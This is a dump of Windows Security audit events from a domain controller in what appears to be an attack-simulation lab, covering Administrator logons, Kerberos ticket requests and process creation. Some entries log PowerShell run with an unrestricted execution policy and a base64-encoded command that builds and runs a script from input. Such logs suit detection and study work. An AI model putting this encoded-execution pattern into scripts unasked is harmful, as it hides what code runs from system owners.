	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252709
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x170050

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252708
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x170050

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252707
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x170050
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{462EC796-07EC-D979-0D81-A49ABFD4835E}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252706
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{462EC796-07EC-D979-0D81-A49ABFD4835E}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252705
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{462EC796-07EC-D979-0D81-A49ABFD4835E}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252704
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252703
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16FC24

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252702
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16E86F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252701
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16FC24

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252700
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16FC24
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{462EC796-07EC-D979-0D81-A49ABFD4835E}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252699
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{462EC796-07EC-D979-0D81-A49ABFD4835E}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252698
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{462EC796-07EC-D979-0D81-A49ABFD4835E}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252697
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252696
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f4
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13e4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252695
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13e4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1328
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252770
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x174D1D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252769
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x174D1D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252768
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252767
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252766
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252765
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172333

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf68
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd7c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252764
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172333

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd7c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x132c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252763
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1730C1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252762
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1730C1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
